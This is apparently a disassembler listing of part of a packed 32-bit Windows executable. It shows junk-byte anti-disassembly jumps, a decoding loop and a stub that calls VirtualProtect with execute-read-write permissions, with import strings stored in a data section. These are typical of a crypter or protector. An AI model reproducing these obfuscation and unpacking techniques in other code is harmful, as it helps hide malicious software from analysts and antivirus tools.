; ---------------------------------------------------------------------------
db 0DBh, 5Ah, 12h
dd 0E501E253h, 5DDB3471h, 0D444531h
db 0FFh, 0Dh
; ---------------------------------------------------------------------------
loc_46CFFE: ; CODE XREF: DMN1:0046CFEBj
stc
jmp short loc_46D019
; ---------------------------------------------------------------------------
aad 0D4h
cdq
sbb al, 59h
retf
; ---------------------------------------------------------------------------
db 0F3h
dd 413B991Dh, 35A7FE97h, 5BA910D0h, 0FD6A102Ch
db 44h
; ---------------------------------------------------------------------------
loc_46D019: ; CODE XREF: DMN1:0046CFFFj
std
jmp short loc_46D021
; ---------------------------------------------------------------------------
dd 0F858285h
db 0A8h
; ---------------------------------------------------------------------------
loc_46D021: ; CODE XREF: DMN1:0046D01Aj
xchg ebx, ecx
jmp short loc_46D03D
; ---------------------------------------------------------------------------
db 68h, 0E6h, 0AAh
dd 0F5364A59h, 828F23E6h, 0C798710Dh, 0BAD30993h, 0A58C8C4Dh
; ---------------------------------------------------------------------------
pop edx
loc_46D03D: ; CODE XREF: DMN1:0046D023j
jmp short loc_46D046
; ---------------------------------------------------------------------------
db 9Bh
dd 0B3E094F1h
db 9Bh, 24h
; ---------------------------------------------------------------------------
loc_46D046: ; CODE XREF: DMN1:loc_46D03Dj
jmp short loc_46D063
; ---------------------------------------------------------------------------
dd 0FF2FA1C7h, 336C30EDh, 31EC07F6h, 47D16114h, 93E71E75h
dd 0F3238494h
db 0E0h, 0FCh, 9Dh
; ---------------------------------------------------------------------------
loc_46D063: ; CODE XREF: DMN1:loc_46D046j
xor edi, 41000h
jmp short loc_46D087
; ---------------------------------------------------------------------------
db 31h
dd 2E349BCEh, 71B7BF28h, 5859AB13h, 8349D766h, 0B366223Ch
dd 759C20C6h
db 3Dh, 51h, 12h
; ---------------------------------------------------------------------------
loc_46D087: ; CODE XREF: DMN1:0046D069j
jmp short loc_46D099
; ---------------------------------------------------------------------------
db 1Eh, 0A7h, 0F3h
; ---------------------------------------------------------------------------
mov ah, 11h
sti
retf
; ---------------------------------------------------------------------------
dd 0A1FBB1F3h, 0E2A835EFh
db 0BAh
; ---------------------------------------------------------------------------
loc_46D099: ; CODE XREF: DMN1:loc_46D087j
or esi, 0FFFFFFFFh
xchg edi, esi
inc edi
xchg ebp, esi
jmp short loc_46D0BC
; ---------------------------------------------------------------------------
db 0DCh
dd 0B0DDA0A6h, 0D0A94258h, 1CA697B2h, 57C0363Bh, 22E42304h
dd 0BBE98C2Ch
; ---------------------------------------------------------------------------
loc_46D0BC: ; CODE XREF: DMN1:0046D0A1j
jmp short loc_46D0C7
; ---------------------------------------------------------------------------
dw 42E2h
dd 702977F1h
db 6Dh, 1Bh, 58h
; ---------------------------------------------------------------------------
loc_46D0C7: ; CODE XREF: DMN1:loc_46D0BCj
; DMN1:0046D102j
add edi, 0AF5Ah
loc_46D0CD: ; CODE XREF: DMN1:0046D666j
jmp short loc_46D0D5
; ---------------------------------------------------------------------------
db 0FFh
dd 5A929A58h
db 8Eh
; ---------------------------------------------------------------------------
loc_46D0D5: ; CODE XREF: DMN1:loc_46D0CDj
cmc
xchg esi, esp
jmp short loc_46D0EA
; ---------------------------------------------------------------------------
dw 0EF52h
; ---------------------------------------------------------------------------
pop edx
popf
mov eax, 44E612DFh
leave
sahf
mov eax, ds:0F516B32Fh
loc_46D0EA: ; CODE XREF: DMN1:0046D0D8j
stc
jmp short loc_46D104
; ---------------------------------------------------------------------------
stosb
std
retf 366h
; ---------------------------------------------------------------------------
mov ah, 2Eh
inc eax
mov eax, ds:0A13BF90Fh
dec esp
scasd
cmp bh, [edx+68693D3Ah]
jbe short loc_46D0C7
loc_46D104: ; CODE XREF: DMN1:0046D0EBj
cld
jmp short loc_46D10B
; ---------------------------------------------------------------------------
db 0DDh
db 0A5h, 2Ah, 55h
; ---------------------------------------------------------------------------
loc_46D10B: ; CODE XREF: DMN1:0046D105j
jmp short loc_46D11A
; ---------------------------------------------------------------------------
db 2, 77h, 68h
dd 6EB808E7h, 0FD0E199Eh
; ---------------------------------------------------------------------------
ja short loc_46D153
loc_46D11A: ; CODE XREF: DMN1:loc_46D10Bj
std
jmp short loc_46D136
; ---------------------------------------------------------------------------
sbb [ebp-1C5A0CC7h], ch
lds ebx, [edx]
test byte ptr ds:121CE12Bh[ebp*4], 99h
xor [eax+3AD6935Eh], esp
dec esi
rol ecx, 1
loc_46D136: ; CODE XREF: DMN1:0046D11Bj
jmp short loc_46D141
; ---------------------------------------------------------------------------
dd 67B666Ah, 4A69858Bh
db 38h
; ---------------------------------------------------------------------------
loc_46D141: ; CODE XREF: DMN1:loc_46D136j
jmp short loc_46D14B
; ---------------------------------------------------------------------------
db 19h
dd 98532926h
db 40h, 96h, 0CAh
; ---------------------------------------------------------------------------
loc_46D14B: ; CODE XREF: DMN1:loc_46D141j
jmp short loc_46D166
; ---------------------------------------------------------------------------
xor eax, 6B0AC423h
stosd
loc_46D153: ; CODE XREF: DMN1:0046D118j
hlt
; ---------------------------------------------------------------------------
dd 1BEF92ECh, 17545D0h, 0E71FC3DFh, 0F309B96Bh
db 19h, 25h
; ---------------------------------------------------------------------------
loc_46D166: ; CODE XREF: DMN1:loc_46D14Bj
xchg edx, edx
jmp short loc_46D174
; ---------------------------------------------------------------------------
dw 0DA8Ch
dd 526B413Bh, 0B2910C2Eh
; ---------------------------------------------------------------------------
loc_46D174: ; CODE XREF: DMN1:0046D168j
jmp short loc_46D184
; ---------------------------------------------------------------------------
dw 0E9FDh
dd 3F753453h, 0F990A35h, 97493DFDh
; ---------------------------------------------------------------------------
loc_46D184: ; CODE XREF: DMN1:loc_46D174j
neg ebx
jmp short loc_46D19D
; ---------------------------------------------------------------------------
dd 0E464D60Fh, 0FF62A2ECh, 84D01F4h, 4A915AA3h, 5D943409h
; ---------------------------------------------------------------------------
push edi
loc_46D19D: ; CODE XREF: DMN1:0046D186j
jmp short loc_46D1A2
; ---------------------------------------------------------------------------
movsb
retn
; ---------------------------------------------------------------------------
db 63h
; ---------------------------------------------------------------------------
loc_46D1A2: ; CODE XREF: DMN1:loc_46D19Dj
jmp short loc_46D1B7
; ---------------------------------------------------------------------------
dd 41A82C3Eh, 3FAB756Eh, 79A501FEh, 1033BD41h
db 0Bh, 0F0h, 0B3h
; ---------------------------------------------------------------------------
loc_46D1B7: ; CODE XREF: DMN1:loc_46D1A2j
jmp short loc_46D1D5
; ---------------------------------------------------------------------------
db 0E3h, 97h, 7Ah
dd 9029A428h, 0DFA187B5h, 0E03A491Ch, 0D042D285h, 9E454B60h
dd 0E1AB1B9Fh
; ---------------------------------------------------------------------------
pop esp
loc_46D1D5: ; CODE XREF: DMN1:loc_46D1B7j
jmp short loc_46D1E0
; ---------------------------------------------------------------------------
db 0F9h
dd 528CE17h, 88CDB7F0h
; ---------------------------------------------------------------------------
loc_46D1E0: ; CODE XREF: DMN1:loc_46D1D5j
jmp short loc_46D1F5
; ---------------------------------------------------------------------------
dw 96Ch
dd 0F2DD07D5h, 576D37AAh, 377853CBh, 60855AEFh
db 3Ch
; ---------------------------------------------------------------------------
loc_46D1F5: ; CODE XREF: DMN1:loc_46D1E0j
jmp short loc_46D20F
; ---------------------------------------------------------------------------
db 7Fh
dd 1E1537Bh, 52ED29ECh, 16EB49B2h, 5696981Dh, 0B5D34FEBh
db 0FAh, 0FCh, 24h
; ---------------------------------------------------------------------------
loc_46D20F: ; CODE XREF: DMN1:loc_46D1F5j
mov eax, esp
cmc
bswap ebx
jmp short loc_46D224
; ---------------------------------------------------------------------------
dw 5953h
dd 0F7B61535h, 3798454Dh, 12640929h
; ---------------------------------------------------------------------------
loc_46D224: ; CODE XREF: DMN1:0046D214j
xor ebx, 0A5771DE3h
jmp short loc_46D234
; ---------------------------------------------------------------------------
sbb [ecx+40EBDD6Ch], eax
mov ch, 0CFh
loc_46D234: ; CODE XREF: DMN1:0046D22Aj
jmp short loc_46D23C
; ---------------------------------------------------------------------------
dw 0FD06h
dd 2D51BB08h
; ---------------------------------------------------------------------------
loc_46D23C: ; CODE XREF: DMN1:loc_46D234j
jmp short loc_46D258
; ---------------------------------------------------------------------------
dw 2F47h
dd 0EA3E1264h, 6EAC27D8h, 0D4CB1836h, 0E9924D6Ah, 0E80026BDh
dd 7E40C311h
; ---------------------------------------------------------------------------
loc_46D258: ; CODE XREF: DMN1:loc_46D23Cj
jmp short loc_46D279
; ---------------------------------------------------------------------------
mov ds, word ptr [edx]
xchg edi, [esi]
xor eax, 2C322B4Ch
jbe short loc_46D2AF
daa
cwde
retf 47DDh
; ---------------------------------------------------------------------------
mov [edi+2], bl
add eax, [ebx+5Dh]
dec ecx
les edi, [esi+7FBB384Dh]
fstp st
loc_46D279: ; CODE XREF: DMN1:loc_46D258j
jmp short loc_46D283
; ---------------------------------------------------------------------------
db 4
dd 5602147Dh
db 94h, 0E7h, 0F4h
; ---------------------------------------------------------------------------
loc_46D283: ; CODE XREF: DMN1:loc_46D279j
xchg esp, ebp
test ebx, 0AF7038E7h
stc
xchg eax, edx
stc
jmp short loc_46D2A2
; ---------------------------------------------------------------------------
db 4Ah, 42h, 64h
dd 5AED9804h, 223DCD32h, 19D1B829h
; ---------------------------------------------------------------------------
xchg ebx, [ecx]
loc_46D2A2: ; CODE XREF: DMN1:0046D28Fj
add edx, esp
jmp short loc_46D2BC
; ---------------------------------------------------------------------------
dw 55EEh
dd 7E808B3Ah
db 7Fh, 41h, 7Ah
; ---------------------------------------------------------------------------
loc_46D2AF: ; CODE XREF: DMN1:0046D263j
mov eax, 0CCD98EB9h
sub al, 78h
xchg ah, dl
out 0E2h, eax
; ---------------------------------------------------------------------------
dw 9120h
; ---------------------------------------------------------------------------
loc_46D2BC: ; CODE XREF: DMN1:0046D2A4j
jmp short loc_46D2D5
; ---------------------------------------------------------------------------
dw 7761h
dd 58289606h, 8F370BE7h, 7658AE25h, 836AE66Ch, 0CFB5A460h
db 68h
; ---------------------------------------------------------------------------
loc_46D2D5: ; CODE XREF: DMN1:loc_46D2BCj
jmp short loc_46D2F6
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
mov esi, 97691A5Bh
db 66h
jmp short small loc_46D324
; ---------------------------------------------------------------------------
dd 6D29FEF1h, 0C87370AFh, 3AC07300h, 1690B3A4h, 0EF0DB41Bh
; ---------------------------------------------------------------------------
push ecx
pop edi
loc_46D2F6: ; CODE XREF: DMN1:loc_46D2D5j
test ebx, 28D85F1Eh
mov eax, [edx]
xchg esp, eax
jmp short loc_46D321
; ---------------------------------------------------------------------------
dw 0B007h
dd 57B26565h, 0B8DAFD03h, 0C7BA687Bh, 0F45944FEh, 45001B7h
dd 0E5C6E7E2h, 0B25DEB76h
db 0C7h
; ---------------------------------------------------------------------------
loc_46D321: ; CODE XREF: DMN1:0046D300j
jmp short loc_46D324
; ---------------------------------------------------------------------------
db 11h
; ---------------------------------------------------------------------------
loc_46D324: ; CODE XREF: DMN1:0046D2DDj
; DMN1:loc_46D321j
stc
bswap edx
xchg ecx, edi
jmp short loc_46D33E
; ---------------------------------------------------------------------------
db 95h
dd 0AA2062DDh, 44293300h, 1CEFD71Ch, 0A81DA074h
db 5, 0F7h
; ---------------------------------------------------------------------------
loc_46D33E: ; CODE XREF: DMN1:0046D329j
jmp short loc_46D35A
; ---------------------------------------------------------------------------
dd 0A0264CE8h, 0C14171BAh, 0F6C9C584h, 0F0D56101h, 0A41FC149h
dd 2F4F362Dh
db 0A6h, 75h
; ---------------------------------------------------------------------------
loc_46D35A: ; CODE XREF: DMN1:loc_46D33Ej
jmp short loc_46D369
; ---------------------------------------------------------------------------
dd 0B65277D0h, 7954E644h, 0CFEFA9AEh
; ---------------------------------------------------------------------------
clc
loc_46D369: ; CODE XREF: DMN1:loc_46D35Aj
cld
xor esp, [esi]
add ebx, 6E368D69h
jmp short loc_46D387
; ---------------------------------------------------------------------------
dd 0E1F1E7D4h, 53C84926h, 5A4B921Dh, 0CE87DF0Dh
; ---------------------------------------------------------------------------
sal esi, 76h
loc_46D387: ; CODE XREF: DMN1:0046D372j
jmp short loc_46D398
; ---------------------------------------------------------------------------
db 92h, 47h, 0C5h
dd 0EA12CDCDh, 4FDB7158h, 67E3AEF6h
; ---------------------------------------------------------------------------
loc_46D398: ; CODE XREF: DMN1:loc_46D387j
jmp short loc_46D3B5
; ---------------------------------------------------------------------------
align 4
dd 4EB43CE4h, 6BAC5C2Ch, 0CDF4ED92h, 0E3BEF6F9h, 780D6B19h
dd 211B67C9h
db 19h
; ---------------------------------------------------------------------------
loc_46D3B5: ; CODE XREF: DMN1:loc_46D398j
xchg esp, [esi]
jmp short loc_46D3D8
; ---------------------------------------------------------------------------
db 26h, 0ACh, 89h
dd 0C70E19D0h, 0E6FE12B2h, 0DA2D6652h, 0E7199A43h, 0E7E8AE79h
dd 0FCD17481h, 0DE8B78FCh
; ---------------------------------------------------------------------------
loc_46D3D8: ; CODE XREF: DMN1:0046D3B7j
sub esp, 67CAA51Bh
xchg esp, ecx
jmp short loc_46D3EA
; ---------------------------------------------------------------------------
dw 75ADh
dd 84786179h
db 0AAh, 8
; ---------------------------------------------------------------------------
loc_46D3EA: ; CODE XREF: DMN1:0046D3E0j
jmp short loc_46D3ED
; ---------------------------------------------------------------------------
db 0ECh
; ---------------------------------------------------------------------------
loc_46D3ED: ; CODE XREF: DMN1:loc_46D3EAj
rol ecx, 1
jmp short loc_46D3FD
; ---------------------------------------------------------------------------
db 80h, 0EFh, 82h
dd 0DFF05780h, 0BD9E8F13h
db 0Ah
; ---------------------------------------------------------------------------
loc_46D3FD: ; CODE XREF: DMN1:0046D3EFj
neg edi
jmp short loc_46D410
; ---------------------------------------------------------------------------
pop ebp
push ebx
retf 0FD49h
; ---------------------------------------------------------------------------
dw 0FA2Fh
dd 0D21FD68h, 2B16A2BBh
; ---------------------------------------------------------------------------
loc_46D410: ; CODE XREF: DMN1:0046D3FFj
jmp short loc_46D424
; ---------------------------------------------------------------------------
dw 4182h
dd 0D71E5A73h, 13B11E47h, 0C0E60F74h, 129C21C7h
; ---------------------------------------------------------------------------
loc_46D424: ; CODE XREF: DMN1:loc_46D410j
jmp short loc_46D42C
; ---------------------------------------------------------------------------
dw 6C47h
dd 0FF23D352h
; ---------------------------------------------------------------------------
loc_46D42C: ; CODE XREF: DMN1:loc_46D424j
jmp short loc_46D431
; ---------------------------------------------------------------------------
das
xchg ah, [edx]
loc_46D431: ; CODE XREF: DMN1:loc_46D42Cj
jmp short loc_46D44E
; ---------------------------------------------------------------------------
db 96h
dd 0E1632A5Fh, 96AC6C48h, 26F17E5Eh, 37040870h, 0C370CECDh
dd 8688CF1h
; ---------------------------------------------------------------------------
push 0FFFFFF84h
loc_46D44E: ; CODE XREF: DMN1:loc_46D431j
jmp short loc_46D45C
; ---------------------------------------------------------------------------
dd 7DB76EC8h, 6F0396B7h, 685AA2CFh
; ---------------------------------------------------------------------------
loc_46D45C: ; CODE XREF: DMN1:loc_46D44Ej
xchg ecx, [esi]
std
jmp short loc_46D465
; ---------------------------------------------------------------------------
db 76h, 38h, 0AEh
db 0A2h
; ---------------------------------------------------------------------------
loc_46D465: ; CODE XREF: DMN1:0046D45Fj
jmp short loc_46D46E
; ---------------------------------------------------------------------------
db 0B2h
dd 504A1B05h
db 0Fh, 0Ah
; ---------------------------------------------------------------------------
loc_46D46E: ; CODE XREF: DMN1:loc_46D465j
jmp short loc_46D477
; ---------------------------------------------------------------------------
dd 4AA9093Eh
db 31h, 0A9h, 0DEh
; ---------------------------------------------------------------------------
loc_46D477: ; CODE XREF: DMN1:loc_46D46Ej
xor edx, 962F9520h
jmp short loc_46D492
; ---------------------------------------------------------------------------
db 0DCh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 6Dh, 0C6h, 3Bh
; ---------------------------------------------------------------------------
add al, 98h
fldenv byte ptr [edi-3539FDDDh]
cmp al, [eax]
sub esi, eax
int 3 ; Trap to Debugger
dec eax
loc_46D492: ; CODE XREF: DMN1:0046D47Dj
mov edi, eax
xor ebx, 680D5DF5h
neg edx
jmp short loc_46D4A2
; ---------------------------------------------------------------------------
dw 7D51h
db 7Ah, 36h
; ---------------------------------------------------------------------------
loc_46D4A2: ; CODE XREF: DMN1:0046D49Cj
add edi, ebp
jmp short loc_46D4C5
; ---------------------------------------------------------------------------
dw 4334h
dd 5FA2DF74h, 11D36E64h, 0C2B97D3Bh, 7854CBA2h, 28490C1h
dd 8F09A02Dh, 0EC50F5E9h
db 0D5h
; ---------------------------------------------------------------------------
loc_46D4C5: ; CODE XREF: DMN1:0046D4A4j
jmp short loc_46D4D8
; ---------------------------------------------------------------------------
db 4Ch
dd 73AA789Bh, 0F2A2F8D1h, 0CB26E506h, 22A2135h
; ---------------------------------------------------------------------------
loc_46D4D8: ; CODE XREF: DMN1:loc_46D4C5j
jmp short loc_46D4DB
; ---------------------------------------------------------------------------
db 3Ah
; ---------------------------------------------------------------------------
loc_46D4DB: ; CODE XREF: DMN1:loc_46D4D8j
cmc
mov [edi], ecx
xchg edx, ecx
xchg ecx, ebx
jmp short loc_46D500
; ---------------------------------------------------------------------------
dd 0CB4793DCh, 0AFE509B4h, 0AC1F0A71h, 76AEA7Bh, 0F39C5839h
dd 5DE53077h, 0FEF52A36h
; ---------------------------------------------------------------------------
loc_46D500: ; CODE XREF: DMN1:0046D4E2j
jmp short loc_46D509
; ---------------------------------------------------------------------------
dw 5853h
dd 4594A18Ah
db 0F6h
; ---------------------------------------------------------------------------
loc_46D509: ; CODE XREF: DMN1:loc_46D500j
jmp short loc_46D511
; ---------------------------------------------------------------------------
aaa
cmp ecx, [edi+esi*2]
aas
push eax
loc_46D511: ; CODE XREF: DMN1:loc_46D509j
jmp short loc_46D516
; ---------------------------------------------------------------------------
db 1Dh
; ---------------------------------------------------------------------------
adc eax, esi
loc_46D516: ; CODE XREF: DMN1:loc_46D511j
jmp short loc_46D536
; ---------------------------------------------------------------------------
dd 0BFAFE88Dh, 31ED6CDBh, 0BA096D7Ch, 2C770C76h, 5062BFA4h
dd 901436F6h, 2F531A93h
db 4Bh, 7Ch
; ---------------------------------------------------------------------------
loc_46D536: ; CODE XREF: DMN1:loc_46D516j
jmp short loc_46D551
; ---------------------------------------------------------------------------
dd 0F8906E76h, 1BEAD5EAh, 0A1271F23h, 0D2E6B846h, 6DFCA670h
dd 74393F66h
db 8Ah
; ---------------------------------------------------------------------------
loc_46D551: ; CODE XREF: DMN1:loc_46D536j
jmp short loc_46D556
; ---------------------------------------------------------------------------
db 66h
db 62h, 0DCh
; ---------------------------------------------------------------------------
loc_46D556: ; CODE XREF: DMN1:loc_46D551j
jmp short loc_46D569
; ---------------------------------------------------------------------------
dd 0B59A1A2Ah, 0A691CF4Bh, 0E8610D0Ah, 717D2B2Ch
; ---------------------------------------------------------------------------
inc esi
loc_46D569: ; CODE XREF: DMN1:loc_46D556j
xchg edi, edx
xor edx, 0CD728F8Ch
jmp short loc_46D57F
; ---------------------------------------------------------------------------
db 84h
dd 36E4082Ch, 79C1015Eh
db 0EEh, 0B8h, 45h
; ---------------------------------------------------------------------------
loc_46D57F: ; CODE XREF: DMN1:0046D571j
jmp short loc_46D59A
; ---------------------------------------------------------------------------
db 41h, 0C1h, 61h
dd 0AABF2312h, 264C26C5h, 0FF230770h, 0F43DEFFAh, 96B3EC00h
db 3Ah, 40h
; ---------------------------------------------------------------------------
loc_46D59A: ; CODE XREF: DMN1:loc_46D57Fj
jmp short loc_46D5B0
; ---------------------------------------------------------------------------
dd 7230BAC5h, 0C484E7FCh, 0D1C69C9Ch, 0DB6C8610h, 0A225FBD6h
; ---------------------------------------------------------------------------
loc_46D5B0: ; CODE XREF: DMN1:loc_46D59Aj
add eax, 4
clc
stc
jmp short loc_46D5D3
; ---------------------------------------------------------------------------
db 82h
dd 115BDEDAh, 0B0111908h, 0FB042EFFh, 8196E0B2h, 0BECCB891h
dd 67B65428h
db 6Fh, 26h, 8Eh
; ---------------------------------------------------------------------------
loc_46D5D3: ; CODE XREF: DMN1:0046D5B5j
xchg edx, esp
jmp short loc_46D5F5
; ---------------------------------------------------------------------------
db 0AEh
dd 6373069Bh, 8B2C5FC4h, 912017DAh, 1E7DFF24h, 0A002DC9Ah
dd 8973448h, 16AFC3E4h
; ---------------------------------------------------------------------------
xlat
loc_46D5F5: ; CODE XREF: DMN1:0046D5D5j
jmp short loc_46D606
; ---------------------------------------------------------------------------
db 0DEh
dd 88BACC33h, 573E429Ah, 0FFD9BBF2h
db 47h, 0F7h
; ---------------------------------------------------------------------------
loc_46D606: ; CODE XREF: DMN1:loc_46D5F5j
std
dec edx
jz short loc_46D66B
jmp short loc_46D61C
; ---------------------------------------------------------------------------
dd 9E01196h, 0B5FDF27h, 0BB72830h, 2143537Ah
; ---------------------------------------------------------------------------
loc_46D61C: ; CODE XREF: DMN1:0046D60Aj
or ebx, 6CCCA82h
xchg eax, ebp
cmc
xchg edi, edx
jmp short loc_46D63E
; ---------------------------------------------------------------------------
db 89h, 71h, 93h
dd 0C9A022F5h, 9C82AD51h, 1E270F2Eh, 9B089C0Eh
db 22h, 7Ch
; ---------------------------------------------------------------------------
loc_46D63E: ; CODE XREF: DMN1:0046D627j
jmp short loc_46D65E
; ---------------------------------------------------------------------------
dd 0C505E41Bh, 83FDED93h, 8BCBFECDh, 0CA240367h, 6D692F1Eh
dd 1E941401h, 170C8439h
db 0BDh, 1
; ---------------------------------------------------------------------------
loc_46D65E: ; CODE XREF: DMN1:loc_46D63Ej
xchg esi, eax
jmp short loc_46D664
; ---------------------------------------------------------------------------
dw 5530h
; ---------------------------------------------------------------------------
loc_46D664: ; CODE XREF: DMN1:0046D660j
xchg esp, eax
jmp loc_46D0CD
; ---------------------------------------------------------------------------
loc_46D66B: ; CODE XREF: DMN1:0046D608j
xchg esp, esi
cmc
jmp short loc_46D687
; ---------------------------------------------------------------------------
dd 2937C557h, 0B7E81D56h, 539EF17Ch, 0BD97F328h, 7D1B4A81h
db 1Eh, 0ACh, 0D0h
; ---------------------------------------------------------------------------
loc_46D687: ; CODE XREF: DMN1:0046D66Ej
pop edi
jmp short loc_46D68B
; ---------------------------------------------------------------------------
db 0Dh
; ---------------------------------------------------------------------------
loc_46D68B: ; CODE XREF: DMN1:0046D688j
jmp short loc_46D690
; ---------------------------------------------------------------------------
push cs
and al, 8Fh
loc_46D690: ; CODE XREF: DMN1:loc_46D68Bj
jmp short loc_46D6A9
; ---------------------------------------------------------------------------
dw 5E67h
dd 2D5339FEh, 9345C1EEh, 0CA95FE44h, 65F50E6h, 8E428625h
db 6Ch
; ---------------------------------------------------------------------------
loc_46D6A9: ; CODE XREF: DMN1:loc_46D690j
std
jmp short loc_46D6BE
; ---------------------------------------------------------------------------
dd 0E3AE576Eh, 52604D71h, 0A6489B6Bh, 88587A6Bh
db 80h, 7Ah
; ---------------------------------------------------------------------------
loc_46D6BE: ; CODE XREF: DMN1:0046D6AAj
clc
jmp short loc_46D6DE
; ---------------------------------------------------------------------------
db 38h, 0DBh, 29h
dd 0C1BD9146h, 62ED6AC5h, 0DC934BCEh, 11B8CD88h, 7AF1F6D6h
dd 0D4E4838Fh
db 48h, 0EFh
; ---------------------------------------------------------------------------
loc_46D6DE: ; CODE XREF: DMN1:0046D6BFj
jmp short loc_46D6FA
; ---------------------------------------------------------------------------
and eax, 0F26CD876h
int 3 ; Trap to Debugger
xchg bl, ah
pop ds
sbb [ecx-75h], bh
mov dh, 23h
push ebx
sbb bl, ah
mov eax, 4EDC12EFh
db 66h
retf
; ---------------------------------------------------------------------------
adc eax, [ebx]
loc_46D6FA: ; CODE XREF: DMN1:loc_46D6DEj
jmp short loc_46D717
; ---------------------------------------------------------------------------
dd 39A9B3FEh, 0A20AEB2Dh, 0C6B3F15Ch, 5DDFFE6Dh, 48CF71C3h
dd 86AFC8FAh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
wait
xchg eax, esp
loc_46D717: ; CODE XREF: DMN1:loc_46D6FAj
bswap ebx
jmp loc_46CA9F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_46D71E proc near ; CODE XREF: DMN1:0046D788p
var_24 = dword ptr -24h
var_18 = byte ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor edx, 5A17131Dh
xor edx, 459D42ACh
mov eax, 400000h
add edx, eax
add esp, 10h
mov ebp, [esp-10h+arg_4]
push edx
pusha
push 0
lea edx, [esp+18h+var_18]
push edx
push 40h
push 2C71Eh
add [esp+24h+var_24], 1000h
push eax
add eax, 1000h
add eax, 6D023h
call dword ptr [eax]
add esp, 4
popa
retn
sub_46D71E endp
assume es:nothing
; =============== S U B R O U T I N E =======================================
public start
start proc near
mov eax, offset sub_407AA0
jmp eax
start endp
; ---------------------------------------------------------------------------
align 2
mov edx, 4635042Ch
mov eax, 186A5B1Ch
loc_46D778: ; CODE XREF: DMN1:0046D785j
add eax, 117F7317h
xor edx, eax
add dx, ax
rol edx, 7
loop loc_46D778
push eax
call sub_46D71E
leave
retn
DMN1 ends
; Section 3. (virtual address 0006E000)
; Virtual size : 00000078 ( 120.)
; Section size in file : 00000078 ( 120.)
; Offset to raw data for section: 0006E000
; Flags C0000060: Text Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
DMN2 segment para public 'DATA' use32
assume cs:DMN2
;org 46E000h
dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
dd 506C6175h, 65746F72h, 0B5007463h, 9A77E75Ch, 77E616h
dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
dd 0FFFFFFFFh, 6E02Bh, 6E01Fh, 5 dup(0)
dd 6D000h, 10h, 3731h, 3 dup(0)
DMN2 ends
; Section 4. (virtual address 0006F000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0006E200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 46F000h
align 2000h
_idata2 ends
end start